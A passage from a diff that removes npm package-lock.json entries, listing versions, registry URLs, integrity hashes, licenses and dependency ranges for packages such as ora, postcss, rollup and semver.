"sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", - "dev": true, - "license": "MIT", - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^4.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lodash.startcase": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.startcase/-/lodash.startcase-4.4.0.tgz", - "integrity": "sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==", - "dev": true, - "license": "MIT" - }, - "node_modules/log-symbols": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-6.0.0.tgz", - "integrity": "sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==", - "license": "MIT", - "dependencies": { - "chalk": "^5.3.0", - "is-unicode-supported": "^1.3.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/log-symbols/node_modules/is-unicode-supported": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", - "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/loupe": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/loupe/-/loupe-3.2.1.tgz", - "integrity": "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/mimic-function": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", - "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/mri": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz", - "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/mrmime": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-2.0.1.tgz", - "integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/mute-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-2.0.0.tgz", - "integrity": "sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==", - "license": "ISC", - "engines": { - "node": "^18.17.0 || >=20.5.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/onetime": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", - "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", - "license": "MIT", - "dependencies": { - "mimic-function": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/ora": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/ora/-/ora-8.2.0.tgz", - "integrity": "sha512-weP+BZ8MVNnlCm8c0Qdc1WSWq4Qn7I+9CJGm7Qali6g44e/PUzbjNqJX5NJ9ljlNMosfJvg1fKEGILklK9cwnw==", - "license": "MIT", - "dependencies": { - "chalk": "^5.3.0", - "cli-cursor": "^5.0.0", - "cli-spinners": "^2.9.2", - "is-interactive": "^2.0.0", - "is-unicode-supported": "^2.0.0", - "log-symbols": "^6.0.0", - "stdin-discarder": "^0.2.2", - "string-width": "^7.2.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ora/node_modules/ansi-regex": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/ora/node_modules/strip-ansi": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", - "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/outdent": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/outdent/-/outdent-0.5.0.tgz", - "integrity": "sha512-/jHxFIzoMXdqPzTaCpFzAAWhpkSjZPF4Vsn6jAfNpmbH/ymsmd7Qc6VE9BGn0L6YMj6uwpQLxCECpus4ukKS9Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/p-filter": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-filter/-/p-filter-2.1.0.tgz", - "integrity": "sha512-ZBxxZ5sL2HghephhpGAQdoskxplTwr7ICaehZwLIlfL6acuVgZPm8yBNuRAFBGEqtD/hmUeq9eqLg2ys9Xr/yw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-map": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-try": "^2.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^2.2.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/p-map": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz", - "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/p-try": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/package-manager-detector": { - "version": "0.2.11", - "resolved": "https://registry.npmjs.org/package-manager-detector/-/package-manager-detector-0.2.11.tgz", - "integrity": "sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "quansync": "^0.2.7" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/pathval": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pathval/-/pathval-2.0.1.tgz", - "integrity": "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14.16" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/postcss": { - "version": "8.5.6", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/posthog-node": { - "version": "5.24.17", - "resolved": "https://registry.npmjs.org/posthog-node/-/posthog-node-5.24.17.tgz", - "integrity": "sha512-mdb8TKt+YCRbGQdYar3AKNUPCyEiqcprScF4unYpGALF6HlBaEuO6wPuIqXXpCWkw4VclJYCKbb6lq6pH6bJeA==", - "license": "MIT", - "dependencies": { - "@posthog/core": "1.23.1" - }, - "engines": { - "node": "^20.20.0 || >=22.22.0" - } - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/prettier": { - "version": "2.8.8", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", - "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", - "dev": true, - "license": "MIT", - "bin": { - "prettier": "bin-prettier.js" - }, - "engines": { - "node": ">=10.13.0" - }, - "funding": { - "url": "https://github.com/prettier/prettier?sponsor=1" - } - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/quansync": { - "version": "0.2.11", - "resolved": "https://registry.npmjs.org/quansync/-/quansync-0.2.11.tgz", - "integrity": "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==", - "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/antfu" - }, - { - "type": "individual", - "url": "https://github.com/sponsors/sxzz" - } - ], - "license": "MIT" - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/read-yaml-file": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/read-yaml-file/-/read-yaml-file-1.1.0.tgz", - "integrity": "sha512-VIMnQi/Z4HT2Fxuwg5KrY174U1VdUIASQVWXXyqtNRtxSr9IYkn1rsI6Tb6HsrHCmB7gVpNwX6JxPTHcH6IoTA==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.1.5", - "js-yaml": "^3.6.1", - "pify": "^4.0.1", - "strip-bom": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/read-yaml-file/node_modules/argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dev": true, - "license": "MIT", - "dependencies": { - "sprintf-js": "~1.0.2" - } - }, - "node_modules/read-yaml-file/node_modules/js-yaml": { - "version": "3.14.2", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", - "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/resolve-from": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/restore-cursor": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", - "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", - "license": "MIT", - "dependencies": { - "onetime": "^7.0.0", - "signal-exit": "^4.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rollup": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.58.0.tgz", - "integrity": "sha512-wbT0mBmWbIvvq8NeEYWWvevvxnOyhKChir47S66WCxw1SXqhw7ssIYejnQEVt7XYQpsj2y8F9PM+Cr3SNEa0gw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.58.0", - "@rollup/rollup-android-arm64": "4.58.0", - "@rollup/rollup-darwin-arm64": "4.58.0", - "@rollup/rollup-darwin-x64": "4.58.0", - "@rollup/rollup-freebsd-arm64": "4.58.0", - "@rollup/rollup-freebsd-x64": "4.58.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.58.0", - "@rollup/rollup-linux-arm-musleabihf": "4.58.0", - "@rollup/rollup-linux-arm64-gnu": "4.58.0", - "@rollup/rollup-linux-arm64-musl": "4.58.0", - "@rollup/rollup-linux-loong64-gnu": "4.58.0", - "@rollup/rollup-linux-loong64-musl": "4.58.0", - "@rollup/rollup-linux-ppc64-gnu": "4.58.0", - "@rollup/rollup-linux-ppc64-musl": "4.58.0", - "@rollup/rollup-linux-riscv64-gnu": "4.58.0", - "@rollup/rollup-linux-riscv64-musl": "4.58.0", - "@rollup/rollup-linux-s390x-gnu": "4.58.0", - "@rollup/rollup-linux-x64-gnu": "4.58.0", - "@rollup/rollup-linux-x64-musl": "4.58.0", - "@rollup/rollup-openbsd-x64": "4.58.0", - "@rollup/rollup-openharmony-arm64": "4.58.0", - "@rollup/rollup-win32-arm64-msvc": "4.58.0", - "@rollup/rollup-win32-ia32-msvc": "4.58.0", - "@rollup/rollup-win32-x64-gnu": "4.58.0", - "@rollup/rollup-win32-x64-msvc": "4.58.0", - "fsevents": "~2.3.2" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "license": "MIT" - }, - "node_modules/semver": { - "version": "7.7.4", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": 